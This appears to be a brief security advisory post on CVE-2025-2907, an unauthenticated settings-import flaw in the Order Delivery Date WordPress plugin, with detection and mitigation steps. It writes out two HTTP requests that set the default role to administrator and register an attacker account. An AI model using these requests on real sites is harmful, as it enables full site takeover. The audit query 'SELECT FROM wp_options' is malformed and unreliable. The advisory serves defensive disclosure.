Listen to this Post
How CVE-2025-2907 Works
The Order Delivery Date WordPress plugin (before v12.3.1) fails to implement authorization and CSRF protection during settings import. Attackers exploit this by sending crafted requests to modify critical WordPress options like `default_user_role` and users_can_register. By setting `default_user_role` to “administrator” and enabling users_can_register, attackers can self-register as admin users, leading to full site compromise. The vulnerability stems from insufficient capability checks and lack of nonce verification in the import functionality.
DailyCVE Form
Platform: WordPress
Version: <12.3.1
Vulnerability: Privilege Escalation
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Craft Malicious Import Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data action=orddd_import_settings&default_user_role=administrator&users_can_register=1
2. Register Admin Account:
POST /wp-login.php?action=register HTTP/1.1 Host: target.com user_login=attacker&[email protected]
Detection
1. Check Plugin Version:
grep -r "Version:" /wp-content/plugins/order-delivery-date/
2. Audit User Roles:
SELECT FROM wp_options WHERE option_name IN ('default_user_role', 'users_can_register');
Mitigation
1. Immediate Actions:
chmod -R 750 /wp-content/plugins/order-delivery-date/
2. WAF Rule:
location ~ admin-ajax.php {
if ($args ~ "orddd_import_settings") {
return 403;
}
}
3. Permanent Fix:
- Update to Order Delivery Date v12.3.1+.
- Disable plugin if unused.
4. Post-Exploit Response:
UPDATE wp_options SET option_value = 'subscriber' WHERE option_name = 'default_user_role'; UPDATE wp_options SET option_value = '0' WHERE option_name = 'users_can_register';
5. Log Analysis:
grep "orddd_import_settings" /var/log/nginx/access.log
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
